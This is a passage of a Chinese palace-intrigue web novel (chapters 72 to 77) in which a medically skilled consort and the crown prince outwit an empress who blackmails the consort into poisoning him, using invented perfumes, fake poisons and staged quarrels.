“那好吧,我先回去。不过你得说话算话,一定要派人保护我家人!” “知道了。”萧景翊无奈地摇头。 “回去路上让春桃多带两个侍卫。最近柳如烟的人在东宫附近鬼鬼祟祟,别着了他们的道。” “放心!我沈青黛可不是好惹的!”沈青黛转身时突然想起什么,从袖兜里掏出个小瓷瓶。 “对了,这是新研制的提神药丸,您要是熬夜批阅奏折,吃上一粒保证精神抖擞!” 萧景翊看着瓷瓶上歪歪扭扭写着的“太子专用”,嘴角不自觉上扬。 “知道你有心。快回去吧,明日还要继续给陈嬷嬷治疗。” 等沈青黛的脚步声消失在长廊尽头,萧景翊展开手中的密报,上面赫然写着“沈氏家人暂囚于威远侯府地牢”。 他眼神一冷,将密报凑近烛火点燃:“陆琼华,威远侯……这笔账,本太子迟早要跟你们算清楚。” 火焰舔舐着密报化作灰烬,萧景翊负手而立,目光落在案头沈青黛留下的提神药丸上。 瓷瓶上歪歪扭扭的字迹,倒比平日里的精明模样多了几分憨态,他不自觉摩挲着瓶身,喃喃道:“放心,本太子说到做到。” 三日后,沈青黛捧着描金漆盒踏入坤宁宫。 殿内熏着龙涎香,陆琼华斜倚在金丝软垫上,凤目扫过她手中的盒子,懒洋洋道:“沈良娣今日怎么想起本宫了?” “皇后娘娘万安。”沈青黛福了福身,掀开盒盖露出一只琉璃瓶。 第七十二章 秘制调配 “这是民间秘方调制的‘醉仙香’,奴婢想着娘娘身份尊贵,定瞧不上俗物,特意改良了九次,前调清幽似兰,后调绵长如麝,最适合娘娘这样的贵人……” “倒是个会说话的。” 陆琼华接过琉璃瓶轻嗅,眉间难得露出笑意。 “听说你医术不错,连陈嬷嬷的老寒腿都治好了?” 沈青黛心里“咯噔”一下,面上却笑得更甜。 “不过是雕虫小技,怎能入娘娘法眼?倒是娘娘凤仪天成,奴婢若能得娘娘提点一二,便是三生有幸。” “提点?”陆琼华突然将琉璃瓶重重搁在案上。 “沈良娣既然这么懂事,就该知道自己的本分。太子身边女人不少,可至今连个子嗣都没有……” 她突然凑近,身上浓烈的香气裹着威胁扑面而来,“你要尽快怀上太子的孩子。” 沈青黛睫毛微颤,佯装惊慌:“娘娘,这……” “等你有了孩子,就是你立功的时候。”陆琼华捏起她下巴。 “找个合适的时机,把太子杀了。有太子的血脉在手,本宫保你母家荣华富贵,也会放了你家人。若是办不到……” 她眼神阴鸷,“威远侯府地牢的刑罚,你不会想知道有多难熬。” 沈青黛浑身发冷,却强撑着挤出恐惧神色:“娘娘!太子殿下对我恩重如山,我……我怎能做出此等大逆不道之事?” “恩重如山?” 陆琼华冷笑。 “比起你的家人,太子的命又算得了什么?你好好想想,是要做个阖家团圆的功臣,还是让你父母白发人送黑发人。” 她松开手,慢条斯理地整理袖口,“走吧,给你几天时间考虑,希望听到你的好消息。” 踏出坤宁宫,沈青黛腿一软险些摔倒。 春桃慌忙扶住她:“主子!您脸色怎么这么差?皇后是不是为难您了?” “没事。”沈青黛攥紧袖口,“回东宫吧。” 春桃忧心忡忡地跟在身后,好几次张嘴想说话,都被沈青黛摇头制止。 直到踏入药庐,确认四下无人,沈青黛才将袖中藏着的琉璃瓶摔在桌上,惊得春桃一哆嗦。 “主子!您这是……” “陆琼华想让我用孩子当棋子,杀了太子!” 沈青黛气得抓起案头的银针狠狠扎进软垫,“她以为拿家人威胁我,就能任她摆布?做梦!” 春桃脸色煞白:“那……那咱们怎么办?” “将计就计!”沈青黛突然冷笑一声,从柜子深处翻出个木盒,里面整整齐齐码着上百个绣着莲花的香囊。 “这是用‘辨影香’特制的香囊,只要和陆琼华给的‘醉仙香’相遇,就会混合出一股腥甜的味道。” “从明天起,你带着小顺子,把这些香囊分给东宫上下所有人。” 春桃眼睛一亮:“主子是想找出眼线?” “不仅要找,还要让他们自投罗网。”沈青黛往香囊里又撒了点粉末。 “这些香囊里加了能让人轻微腹泻的药粉,我倒要看看,哪些人敢冒着暴露的风险不用。” 与此同时,翊安殿内,萧景翊听完暗卫的汇报,将舆图上的红点圈出三个。 “这三个眼线先看管起来,其他的……” 他指尖划过剩下的标记,眼神冷得像冰,“找个僻静地方解决,别留痕迹。” “殿下,那个负责洒扫的小太监刘三,平时最不起眼,要不要一并……” 暗卫话没说完,就被萧景翊抬手打断。 “留着。”萧景翊摩挲着下巴,“最不起眼的人往往最有用,以后假消息就从他这儿传出去。” 第二天一早,春桃抱着香囊在东宫到处吆喝。 “沈良娣体恤大家辛苦,特意准备了提神香囊!走过路过不要错过啊!” 琳琅抱着一盆草药路过,鼻子一皱:“什么香囊,闻着一股子怪味。” “琳琅姑娘可别这么说。”春桃笑嘻嘻地往她怀里塞了一个。 “主子说了,这香囊能辟邪驱蚊,您天天侍弄花草,最该戴着了!” 琳琅刚想扔回去,就见沈青黛不知从哪儿冒出来,手里还端着一碗黑乎乎的药汤。 “对了,光顾着发香囊,差点忘了给你熬的防蚊虫汤药,快喝了。” 琳琅看着药汤里漂浮的奇怪药材,连连后退:“我、我不喝!” “由不得你。”沈青黛眼疾手快,一把捏住她的下巴。 “这药里加了艾草和薄荷,喝完保证蚊虫见你就跑。你要是病倒了,谁帮我照看药庐里的宝贝药材?” 看着琳琅被灌药后龇牙咧嘴的模样,春桃憋笑憋得满脸通红。 而这一幕,正巧被前来查看情况的萧景翊撞见。 “沈良娣好手段。”萧景翊挑眉看着气鼓鼓的琳琅,“连本太子的贴身侍女都敢欺负?” 沈青黛眨眨眼,从袖中掏出个绣工精致的香囊。 “殿下这话说的,我这是关爱下属。您看,这是特意给您准备的,比他们的都高级!” 萧景翊接过香囊,凑近闻了闻,突然神色一变:“这味道……” “嘘!”沈青黛慌忙捂住他的嘴。 “殿下小点声!这就是我特制的‘辨影香’,只要和‘醉仙香’相遇,就会有反应。不过现在还不到时候……” 萧景翊看着她亮晶晶的眼睛,心里某处柔软的地方被轻轻戳了一下,鬼使神差地说了句:“小心别玩脱了。” “放心吧!”沈青黛拍拍胸脯,“我这点手段还是有的。” 接下来几天,东宫陆续有人开始腹泻。 沈青黛带着春桃端着药碗到处“义诊”,眼神却在每个人身上打转。 当她发现负责厨房采买的周管事始终没戴香囊,还刻意和其他宫女保持距离时,嘴角勾起一抹不易察觉的笑。 这天夜里,沈青黛正在药庐研究改良毒药,突然听到屋顶传来瓦片轻响。 她不动声色地将银针藏进袖口,装作熟睡的样子。 果然,一道黑影翻窗而入,直奔她藏着重要医书的柜子。 “周管事,这么晚了,找我这医书做什么?”沈青黛突然点亮烛火,笑眯眯地看着黑影僵在原地。 第七十三章 清理眼线 周管事脸色瞬间惨白,抽出匕首就扑过来:“沈青黛,你找死!” 可还没等他近身,几道黑影从暗处窜出,瞬间制住了他。 萧景翊跟着走进来,看着瘫在地上的周管事,冷笑一声:“把他带下去,好好审问。” “想让我开口?做梦!” 周管事突然发出一声怪笑,不等众人反应,他猛地咬住自己的舌头,嘴角瞬间涌出大量鲜血。 “不好!他要自尽!”沈青黛大喊一声,立刻冲过去想要施救。 她飞快地掏出银针,扎向周管事的人中、虎口等穴位,可周管事早就抱着必死的决心,在鲜血涌出的那一刻,就已经气绝身亡。 “可恶!”萧景翊脸色阴沉得可怕,一脚踢翻了旁边的药凳,“让他死得太便宜了!” 一旁的琳琅目睹全程,握着扫帚的手剧烈发抖,脸色比死人还难看。 她从未见过如此惨烈的场面,更没想到沈青黛面对突发状况竟还能如此冷静。 沈青黛擦了擦手,转头对琳琅说:“明天你去告诉刘三,就说在周管事身上搜到了皇后的密信,内容是让他在宫宴膳食里动手脚。周管事畏罪自杀,正好坐实了他的罪名。” 琳琅下意识点头,反应过来后又别扭地哼了一声:“凭什么听你的……” 话虽这么说,脚步却不自觉地往刘三住处走去。 看着琳琅的背影,萧景翊忍不住笑了:“看来她已经开始听你的话了。” “那是!”沈青黛得意地扬起下巴。 “等我把这些眼线都揪出来,陆琼华就等着傻眼吧!不过可惜了,让这个周管事这么轻易就死了,否则还能从他嘴里问出更多东西。” “没关系,他一死,反而更能迷惑陆琼华。” 萧景翊眼神冰冷。 “让她以为我们只查出了这一个眼线,放松警惕。刘三那边放出的假消息,她也会更容易相信。” 沈青黛眼睛一亮。 “还是殿下想得周到!不过下次再遇到这种情况,我得提前准备点防止咬舌的东西,不能再让他们这么轻易就死了。” “好,不过你也要小心,这些人都是亡命之徒,以后再设陷阱,一定要确保自己的安全。” 沈青黛心里一暖,嘴上却不饶人。 “知道啦!我还能栽在这些小喽啰手里?倒是殿下,你也得小心陆琼华狗急跳墙。” 夜色渐深,两人又商量了许久,才各自回去休息。 而此时的坤宁宫,陆琼华还不知道,自己精心布置的眼线正在一个接一个地暴露。 第二日清晨,沈青黛正蹲在药庐给新移栽的草药浇水,春桃慌慌张张跑来。 “主子!皇后娘娘传召,让您立刻去坤宁宫!” 沈青黛手一抖,洒出半瓢水。 她早料到陆琼华会有所动作,却没想到来得这么快。 “别怕。”她迅速起身整理裙摆,压低声音吩咐,“按计划行事,通知殿下。” 坤宁宫内,檀香混着浓烈的胭脂味扑面而来。 陆琼华斜倚在凤榻上,手中把玩着沈青黛送的琉璃瓶,见她进来,猛地将瓶子砸在地上。 “沈良娣好手段!周管事的死,和你脱不了干系吧?” 沈青黛扑通跪下,指尖掐着掌心让自己眼眶泛红。 “娘娘明鉴!昨夜有人潜入药庐,奴婢也是拼死反抗!周管事他……他突然自尽,奴婢拦都拦不住啊!” “哼!”陆琼华冷笑,“东宫接二连三出事,你当本宫是傻子?从今日起,你就留在坤宁宫‘静心反省’。” 话音未落,几个嬷嬷立刻上前,架住沈青黛就往偏殿拖。 沈青黛被拽得踉跄,余光瞥见案上打翻的琉璃瓶碎片,突然灵机一动,扯着嗓子大喊。 “娘娘!那香有古怪!周管事的死,恐怕和‘醉仙香’有关!” 这话让陆琼华猛地抬手:“慢着!”她眯起眼睛打量沈青黛,“你什么意思?” 沈青黛趁机挣脱嬷嬷的手,跌坐在地,指尖偷偷蹭上琉璃瓶碎片上残留的香膏。 “奴婢近日研究香料,发现‘醉仙香’后调的麝香味里,混着一丝苦杏仁味!” 她举起沾着香膏的手指。 “这味道,和西域的‘断魂散’极为相似!周管事死前嘴角发黑,分明是中毒症状!” 陆琼华脸色骤变。 那“醉仙香”确实是她命人掺入毒药,本打算关键时刻用在萧景翊身上,却没想到沈青黛竟能闻出异样。 她强作镇定:“一派胡言!你这是为自己开脱!” “娘娘若是不信,大可让太医院查验!”沈青黛膝行两步,突然剧烈咳嗽起来,嘴角溢出一丝黑血。 “奴婢今早整理药庐时,不慎沾到香料……咳咳……已经命不久矣,只求在死前,能为娘娘查清真相!” 殿内众人吓得后退,陆琼华也变了脸色。 她当然知道“断魂散”的毒性,沈青黛若真沾染,绝无生还可能。 可若此时让太医院介入,自己的谋划必将暴露。 “你当真不知香中有毒?”陆琼华盯着沈青黛苍白的脸。 沈青黛挤出一抹苦笑,从怀中掏出个小瓷瓶:“这是奴婢自制的解药,本想改良后献给娘娘。可惜……” 她将瓷瓶往前推了推,“里面的药材,恰好能中和‘断魂散’。” 陆琼华盯着瓷瓶,心中飞快盘算。 若沈青黛所言为真,这解药或许能为她所用;若她在说谎,等毒性发作再处置也不迟。 思忖片刻,她冷声道:“暂且信你一回。来人,送沈良娣回东宫,找太医诊治。若有半句虚言,定不轻饶!” 沈青黛暗暗松了口气,强撑着虚弱模样谢恩。 被搀扶出坤宁宫时,她悄悄擦掉嘴角用草药汁伪装的“黑血”,冲春桃使了个眼色。 春桃立刻会意,小跑着往翊安殿方向去了。 回到东宫,沈青黛刚躺下,萧景翊就匆匆赶来。 “听说你中毒了?”他脸色阴沉,伸手要探她脉搏。 “放心吧殿下,我没事。” 沈青黛笑嘻嘻躲开,从枕头下摸出个油纸包,“这是用墨鱼汁和草药调的假血,还有这‘解药’……” 第七十四章 这可不是普通药丸 她晃了晃瓷瓶,“里面装的不过是普通安神丸。” 萧景翊又气又笑,抬手轻轻敲她额头:“胡闹!若陆琼华当场查验,你怎么办?” “所以我才故意说要找太医院啊!”沈青黛挑眉,“她做贼心虚,绝不敢让太医插手。而且经此一闹,她短时间内不会再动我。” 她突然凑近,压低声音,“不过,我在坤宁宫闻到了‘断魂散’的味道,陆琼华手里,肯定还有更多毒药。” 萧景翊神色一凛:“看来宫宴上,她准备孤注一掷了。” “正是!”沈青黛摸出张纸条,上面画着坤宁宫的布局图,“这是春桃画的,香料库的位置已经标出来了。只要我们提前……” 两人正说着,窗外突然传来异响。 萧景翊示意沈青黛噤声,自己闪身躲到屏风后。 片刻后,一个黑影翻窗而入——竟是琳琅。 “沈良娣,皇后让我给你送药。”琳琅将药碗放在桌上,眼神闪烁,“她说……若你不肯喝,就……” “就看着我毒发身亡,对吧?”沈青黛把玩着瓷勺。 琳琅脸色骤变,转身想跑,却被萧景翊拦住去路。 “说,还有什么任务?”他语气冰冷。 琳琅浑身发抖,最终咬着牙开口。 “皇后说,若你不肯服药,就让我在宫宴上……在你的酒里下毒。” 沈青黛和萧景翊对视一眼,眼中皆是了然。 这一步棋,他们接下了。 “既然皇后想让你当这个刽子手,不如咱们将计就计。” 沈青黛冲琳琅扬了扬下巴,“就说我和太子大吵了一架,被他软禁在药庐。” 琳琅瞪大了眼睛:“软禁?” 萧景翊神色冷峻,故意提高音量:“不仅要软禁,本太子还要昭告东宫,沈青黛行事乖张,未经允许不得踏出药庐半步!” 琳琅吓得一哆嗦,匆匆行礼后离开。 沈青黛看着她的背影,转头冲萧景翊挤眉弄眼:“殿下这演技,不去唱戏可惜了!” “少贫嘴。”萧景翊嘴上嫌弃,“等会儿真吵起来,你可别心软。” 半个时辰后,翊安殿突然传来瓷器碎裂声。 “萧景翊!你凭什么关着我?”沈青黛的尖叫穿透长廊,“我拼死拼活给东宫建药庐,你倒好,听信小人谗言!” “拼死活?”萧景翊猛地踹开殿门,玄色衣袍翻飞,“周管事暴毙在你药庐,皇后送来的香料又出问题,你让本太子如何信你?” 春桃吓得“扑通”跪下:“殿下息怒!沈良娣绝无二心啊!” “住口!”萧景翊冷眼一扫,“从今日起,没有本太子手谕,沈青黛半步不许离开药庐!谁敢求情,一并治罪!” 他甩下这句话,大步离去,只留下沈青黛瘫坐在满地狼藉中,发丝凌乱,眼眶通红。 消息眨眼间传遍东宫。 琳琅捧着食盒进药庐时,还在偷偷打量沈青黛发红的眼眶:“没想到太子殿下真的……” “有什么想不到的?”沈青黛抓起枕头砸过去,“男人没一个好东西!” 她突然凑近压低声音,“不过是做戏给皇后看,你出去后,就说我天天以泪洗面,连药都不肯喝。” 琳琅翻了个白眼:“早猜到了。” 嘴上嫌弃,却还是把食盒里的桂花糕往她面前推了推,“趁热吃,凉了就不好吃了。” 真正的计划才刚刚开始。 三日后,刘三装作鬼鬼祟祟的样子,在御花园偶遇了陆琼华身边的侍女。 “你听说了吗?”他四下张望,压低声音,“太子殿下最近一直在查当年先皇后去世的事,还找了好多老宫人问话……” 这消息很快传到陆琼华耳中。 她握着茶盏的手猛地收紧,滚烫的茶水洒在裙摆上都浑然不觉。 先皇后的死,是她埋在心底最深的秘密,也是她坐上后位最见不得光的手段。 “去!给我盯着翊安殿!”陆琼华将茶盏重重一摔。 而此时的坤宁宫偏殿,沈青黛正翘着二郎腿,悠哉地啃着春桃偷偷送来的点心。 “主子,外面都传开了,说您和太子殿下彻底闹翻了。” 春桃压低声音,眼睛亮晶晶的,“皇后娘娘这几日急得茶饭不思,听说还发了好几次脾气!” 沈青黛“噗嗤”笑出声,渣子喷了满地:“发脾气就对了!她越急,就越容易露出马脚。对了,殿下那边准备得怎么样?” “按您说的,放出了查先皇后死因的消息,还故意让眼线听到。”春桃掰着手指,“现在就等引蛇出洞了!” 沈青黛刚把最后一块点心塞进嘴里,就听见外头传来一阵喧闹。 春桃扒着窗户张望了会儿,突然兴奋地转过身:“主子!是德妃娘娘来了!听说她有喜了,莫不是来谢您的?” 话音未落,德妃已经掀帘而入,身后跟着捧着赏赐的宫女太监。 她穿着月白色的宫装,孕肚还不明显,却掩不住眉眼间的喜气:“沈良娣,多亏了你给的秘方,本宫才能怀上龙嗣!” 沈青黛连忙起身行礼,却被德妃一把扶住。 “使不得使不得!你现在被软禁,本宫看着就心疼。太子也是,怎么能听信谗言……” “娘娘快别这么说。”沈青黛压低声音。 “殿下也是为了大局着想。不过娘娘如今有孕在身,可得万事小心。皇后最近……脾气不太好。” 德妃脸色微变,下意识护住腹部。 “本宫也听说了。昨日请安时,皇后还摔了茶盏,吓得我夜里都没睡好。” 她突然握住沈青黛的手。 “你医术好,能不能帮本宫看看宫里有没有什么危险的东西?那些香料、熏香,会不会伤着胎儿?” 沈青黛刚要开口,外头突然传来脚步声。 萧景翊的声音紧接着响起:“德妃娘娘这是在和沈良娣说什么体己话?” 德妃慌忙松开手,福了福身:“见过太子殿下。本宫是来感谢沈良娣的,她给的秘方……” “所以德妃娘娘是来为她求情的?”萧景翊挑眉,目光扫过沈青黛。 “罢了,既然德妃开口,本太子就暂且解除软禁。不过沈青黛,你最好给本太子安分些!” 第七十五章 机缘巧合 果然,接下来几天,宫里风平浪静得反常。 沈青黛却不敢松懈,每日在药庐里捣鼓新药,还抽空给德妃写了好几封信,叮嘱她各种注意事项。 三日后,沈青黛实在放心不下,带着新配的安胎药去看德妃。 刚进宫殿,就听见里面传来欢声笑语。 她掀开珠帘,却见德妃半倚在软榻上,旁边还坐着个身着明黄龙袍的身影——竟是皇帝! 沈青黛心里“咯噔”一下,慌忙行礼:“臣妾见过陛下,见过德妃娘娘。” 皇帝转过身,目光上下打量着她:“你就是那个会医术的沈良娣?朕听说,德妃有孕,你出了不少力?” 沈青黛偷偷瞄了眼德妃,见她冲自己微微点头,连忙说道:“回陛下,不过是懂些医术皮毛。” “当初也是机缘巧合,和德妃娘娘一见如故,就想着能帮一点是一点。” 德妃笑着接过话茬:“陛下是不知道,沈妹妹可贴心了。” “自从得知我有孕,天天变着法子给我送好东西。前儿个送来的那个安胎香,闻着就让人安神。” 皇帝的脸色缓和了些:“难得你有这份心。只是……” 他眉头微皱,“朕听说,你前些日子和太子闹得不愉快?还被软禁了?” 沈青黛心里一紧,面上却挤出委屈的神情:“回陛下,都是臣妾的不是。” “一时行事莽撞,惹得太子殿下生气。好在殿下宽宏大量,又有德妃娘娘说情,才赦免了臣妾。” 她偷偷观察着皇帝的神色,接着说道:“臣妾在药庐反省这些日子,想明白了许多。” “这宫里最要紧的,就是姐妹和睦,一同侍奉好陛下和太子殿下。” 德妃在一旁连连点头:“陛下您看,沈妹妹就是性子直了些,人却是极好的。” “臣妾有了身孕后,身边正缺个懂医术的人照应,沈妹妹就像及时雨一样。” 皇帝的目光在两人之间转了转,突然笑了:“罢了罢了,既然知错能改就好。德妃有孕,你就多来照应着。不过……” 他语气一顿,“皇后那边,你也要多去请安,莫要失了规矩。” 沈青黛心里腹诽:去给陆琼华请安,那不是羊入虎口? 但嘴上还是乖巧地应道:“臣妾明白,定不会让陛下和皇后娘娘失望。” 皇帝又叮嘱了德妃几句养胎的话,便起驾离开了。 等皇帝一走,德妃立刻拉着沈青黛的手,心有余悸地说:“刚才可吓死我了!幸好你反应快。” 沈青黛笑着拍了拍她的手:“娘娘别担心,只要咱们口径一致,就不会露馅。” “倒是陛下突然来探望,是不是有什么别的缘由?” 德妃摇了摇头:“我也不清楚。今儿个一早,陛下就说想来看看我。以前他可没这么上心……” 她突然压低声音,“沈妹妹,你说,会不会和太子最近查先皇后死因的事有关?” 沈青黛眼神一凛:“娘娘也听说了?” 德妃点点头:“宫里都传遍了。” “皇后最近脾气越发暴躁,昨日请安时,还罚了好几个宫女。我瞧着,怕是心里有鬼。” “娘娘千万小心。”沈青黛从袖中掏出个小瓷瓶。 “这是我新配的解毒丸,您随身带着。还有,没我的允许,宫里送来的任何东西,都别碰。” 正说着,春桃慌慌张张跑进来:“主子!不好了!皇后娘娘派人来传您,说要您立刻去坤宁宫!” 德妃脸色一变:“这时候叫你去,怕是没安好心!要不我去和陛下说……” “娘娘别担心。”沈青黛握紧她的手,“兵来将挡,水来土掩。我倒要看看,陆琼华还能耍什么花招。” 沈青黛跟着皇后派来的人来到坤宁宫,刚一进门,就听见“啪”的一声脆响。 一个宫女被打得跪在地上,嘴角渗出血丝。 “沈良娣来了?”陆琼华斜倚在凤榻上,眼神冰冷,“听说你和德妃走得很近?” 沈青黛福了福身,镇定地说:“回娘娘,不过是因为德妃娘娘有孕,臣妾懂些医术,就多照应了些。” “照应?”陆琼华冷笑一声,“别以为我不知道你打的什么主意。德妃有了龙嗣,你就想攀高枝?” 沈青黛心里暗骂,面上却委屈地说:“娘娘明鉴!臣妾对娘娘和陛下忠心耿耿。德妃娘娘待我亲厚,我不过是投桃报李罢了。” 陆琼华盯着她看了许久,突然站起身,走到她面前:“沈良娣,有些事,别做得太过分。否则……” 她凑近沈青黛耳边,压低声音,“你家人的命,可还在本宫手里。” 沈青黛浑身一僵,随即强笑道:“娘娘说的哪里话?臣妾明白自己的本分。” 从坤宁宫出来,沈青黛的后背已经湿透了。 春桃见她脸色不好,担忧地问:“主子,皇后没为难您吧?” 沈青黛握紧拳头。 “她这是在警告我。不过放心,我不会让她得逞的。” 沈青黛咬着牙说完,转头就往东宫方向走。 春桃小跑着跟在后面,时不时回头张望,生怕皇后的人追上来找茬。 一进东宫,就撞见萧景翊黑着脸站在长廊下,几个宫女太监低着头大气都不敢出。 沈青黛心里“咯噔”一下,这是又在演哪出? “沈良娣好大的面子!”萧景翊一开口,声音冷得能结冰,“在皇后那儿待得舍不得回来了?” 沈青黛眨眨眼,瞬间反应过来,立刻往地上一跪,眼眶泛红。 “殿下误会了!皇后娘娘召见,臣妾哪敢不从?不过是训了臣妾几句,说臣妾不该和德妃娘娘走太近……” 说着说着,眼泪啪嗒啪嗒往下掉,也分不清是真委屈还是装的。 萧景翊眉头皱得更紧,抬脚就走:“起来吧,以后少惹麻烦!” 可转身时,却偷偷给沈青黛使了个眼色。 春桃在旁边看得直想笑,她家主子和太子殿下这配合,简直比说相声的还默契。 这一幕,全被藏在角落里的小太监刘三看在眼里。 他是陆琼华在东宫剩下的最后一颗棋子,此刻眼睛都亮了,猫着腰就往坤宁宫跑。 第七十六章 紧急召见 坤宁宫里,陆琼华听完刘三的汇报,嘴角勾起一抹冷笑。 “看来萧景翊对沈青黛又上心了?”她把玩着护甲,眼神阴鸷,“真是天助我也。” 转头叫来心腹嬷嬷,“去,把膳房的张得贵给本宫找来。” 再说沈青黛这边,刚回到药庐,萧景翊就偷偷摸了进来。 “皇后找你什么事?”他神色严肃,目光在沈青黛身上来回扫,生怕她受了伤。 沈青黛一屁股坐在草编蒲团上,抓起桌上的凉茶一饮而尽。 “还能是什么?警告我别和德妃走太近,顺便拿我家人威胁了一番。” 她晃了晃手里的小瓷瓶,“不过我也没闲着,从皇后宫里顺了点香料回来,指不定能查出什么东西。” 萧景翊在她身边坐下,压低声音。 “刘三刚才鬼鬼祟祟往坤宁宫去了,看来咱们这出戏,她信了。” “信了就好。”沈青黛眼睛一亮。 “她要是想利用我和殿下的关系做点什么,肯定会动手脚。只要她敢出招,咱们就能……” 第二天天还没亮,东宫就被一阵喧闹声打破寂静。 太监尖利的嗓音穿透晨雾:“皇后娘娘有旨,宣沈良娣即刻入宫!” 春桃慌慌张张冲进屋子:“主子!这大早上的……” 沈青黛正往发髻上插簪子的手顿了顿,冷笑一声:“来得真快,看来是等不及了。” 她利落地整理好衣衫,对着铜镜转了个圈,“走,去会会这位皇后娘娘。” 坤宁宫里弥漫着浓郁的龙涎香,陆琼华斜倚在金丝软垫上,手里把玩着翡翠佛珠,见沈青黛进来,“啪”地把佛珠甩在案几上。 “沈良娣好大的架子,让本宫等了这么久!” 沈青黛福身行礼,语气谦卑。 “臣妾不敢,听闻娘娘召见,连早饭都顾不上吃就赶来了。不知娘娘有何吩咐?” “吩咐?”陆琼华突然凑近,凤冠上的珍珠流苏扫过沈青黛脸颊,“算你还算有点眼力见。” “萧景翊那小子突然对你态度变好,本宫还以为你们在耍什么花招,派人盯了两天,倒真是在闹别扭。” 沈青黛心里暗自松了口气,面上却依旧装出怯生生的模样。 “娘娘圣明!殿下还在气臣妾之前行事莽撞,昨天臣妾好说歹说去认错,殿下连正眼都没瞧我……” 说着,她眼眶泛红,伸手抹了把根本不存在的眼泪。 “若不是娘娘召见,臣妾都不知道该怎么讨殿下欢心了……” “哼,知道错了就好。”陆琼华坐回凤椅,端起茶盏轻抿一口,“既然萧景翊还在冷落你,这便是你的机会。” 她抬手示意嬷嬷递来一个描金小瓷瓶。 “这里面是软筋散,无色无味。本宫已经买通了东宫膳房的王得福,你只需在太子今晚的膳食里撒上半匙。” 沈青黛盯着瓷瓶,指尖微微发颤:“娘娘,这……这不是害人的毒药吗?臣妾不敢……” “不敢?”陆琼华突然掐住她的下巴,玉甲几乎刺破皮肤。 “你家人还在威远侯府地牢里泡着吧?只要你办成这事,本宫不仅放了他们,还能让你爹当三品大员。要是不答应……” 她松开手,慢条斯理地擦着指尖,“听说地牢里的老鼠,最喜欢啃活人手指头。” 沈青黛眼眶通红,声音带着哭腔:“娘娘,太子殿下对臣妾有恩……” “在这吃人的皇宫里,恩情能当饭吃?” 陆琼华抓起瓷瓶塞进她手里,“今晚宫宴,太子要是没倒下,你就等着给家人收尸!” 从坤宁宫出来,沈青黛的后背已经被冷汗浸透。 春桃远远看见她,小跑着迎上来:“主子!您脸色怎么这么差?皇后没把您怎么样吧?” “先回东宫!”沈青黛攥紧袖中的瓷瓶,快步往回走。 翊安殿内,萧景翊正对着舆图研究布防,见她急匆匆进来,立刻起身:“发生什么事了?” 沈青黛掏出瓷瓶,声音压低:“陆琼华让我今晚宫宴时,在你的膳食里下软筋散。她还说……” 她咬了咬嘴唇,“如果我不照做,就杀了我家人。” 萧景翊眼神瞬间冷如寒冰,抬手就要去拿瓷瓶,却在触到她指尖时动作一顿,语气难得温柔:“别怕,有我在。” 他摩挲着瓷瓶,冷笑一声,“既然她想让我装病,那咱们就将计就计。” “我也是这么想的!”沈青黛眼睛一亮,“不过光是装病还不够,得让陆琼华彻底放下戒心。” 她眼珠子一转,突然拍手道,“我有主意了!殿下,您得先把皇帝和五皇子请来东宫!” 萧景翊挑眉:“请父皇和五弟?这跟陆琼华的阴谋有什么关系?” “当然有关系!”沈青黛凑到桌前,抓起炭笔在纸上画了个简易的宫殿图。 “您想啊,要是在宫宴前,东宫突然来了场‘闹剧’,五皇子和您为了件宝贝争得面红耳赤,旁人肯定会觉得您压根没把中毒的事放在心上。” “陆琼华得知消息,只会觉得计划万无一失!” 萧景翊摩挲着下巴思索片刻,突然笑出声。 “你这脑袋瓜里都是什么鬼点子?不过……倒真像那么回事。可我上哪找这么个让五弟眼馋的宝贝?” “这您就别管了!”沈青黛神秘兮兮地眨眨眼。 “我早就打听到,西市有个古董商手里有副玉棋盘,温润通透,据说还是前朝皇室的物件。五皇子最爱收集这些,保管一见就走不动道!” 第二天,萧景翊就派人买下了那副玉棋盘。 果然,消息像长了翅膀似的传开,五皇子萧景桓当晚就坐不住了,带着侍从气势汹汹地闯向东宫。 “萧景翊!把玉棋盘交出来!”五皇子一脚踹开翊安殿的门,气得满脸通红,“那是本皇子先看上的东西,你竟敢半路截胡!” 萧景翊翘着二郎腿,慢悠悠地把玩着棋盘上的玉棋子。 “五弟这话说的,西市买卖讲究个先到先得。你自己手脚慢,怪得了谁?” “你!”萧景桓抄起桌上的茶盏就砸过去,“别以为你是太子就可以为所欲为!今日不把棋盘给我,我跟你没完!” 第七十七章 弑兄夺位 沈青黛躲在屏风后头,悄悄给春桃使眼色。 春桃立刻心领神会,尖着嗓子喊道:“不好啦!两位殿下别打起来啊!” 萧景翊瞅准五皇子萧景桓挥拳的间隙,侧身躲过还顺势往地上一坐,捂着胸口直喘气。 “五弟好大力气,难不成真想弑兄夺位?” “谁、谁要弑兄了!” 萧景桓被这话惊得一愣,看着周围闻讯赶来的侍卫和宫女,突然反应过来自己被套路了,气得跺脚。 “萧景翊你少血口喷人!” 沈青黛适时从屏风后转出,捧着帕子惊呼。 “呀!两位殿下消消气!五皇子您看,太子殿下这手都擦破皮了……” 说着还真从袖中摸出金疮药,作势要上前给萧景翊包扎。 萧景桓一把拍开她的手:“少在这儿假惺惺!萧景翊,你有种跟我下棋!要是输了,就把玉棋盘双手奉上!” 萧景翊揉着“受伤”的手腕慢悠悠起身,嘴角藏着不易察觉的笑。 “下棋就下棋,不过光赢棋盘多没意思?不如再加个彩头。若是你输了,就帮我去御花园挖三筐蚯蚓。” “你!”萧景桓差点被这离谱的赌注气歪鼻子,“行!谁怕谁!沈良娣,你去准备茶点!难不成要看我们干巴巴地对弈?” 沈青黛福了福身,暗戳戳和萧景翊交换了个眼神,转身时又朝五皇子挤了挤眼。 萧景桓被她这莫名其妙的举动弄得直起鸡皮疙瘩:“看什么看?还不快去!” 等沈青黛进了小厨房,立刻掏出个贴着“软筋散”标签的瓷瓶。 实际上瓶中装的是她特制的“假死粉”——吃下后会面色发紫、口吐黑血,看着吓人却无大碍。 “陆琼华,可别怪我以其人之道还治其人之身。” 她嘟囔着往糕点里掺了些粉末,又特意摆成诱人的模样。 这边厢,萧景翊正慢悠悠地摆弄棋子:“五弟,你这执黑子先行的架势,倒像是要把我生吞活剥了。” “少废话!”萧景桓“啪”地落下一子,“当心待会儿输得连北都找不着!” 沈青黛端着茶点进来时,正巧看见萧景桓得意地哼着小曲。 她强忍着笑把盘子放下:“五皇子您尝尝这桃花酥,特意加了蜂蜜……” 萧景桓抓起一块就往嘴里塞,含糊不清道:“味道还行,比你这人顺眼多了。” 萧景翊拈起另一块糕点,咬了一小口便皱起眉:“怎么有股怪味?”说话间还偷偷冲沈青黛眨了眨眼。 就在这时,外头突然传来太监尖细的嗓音:“陛下驾到——” 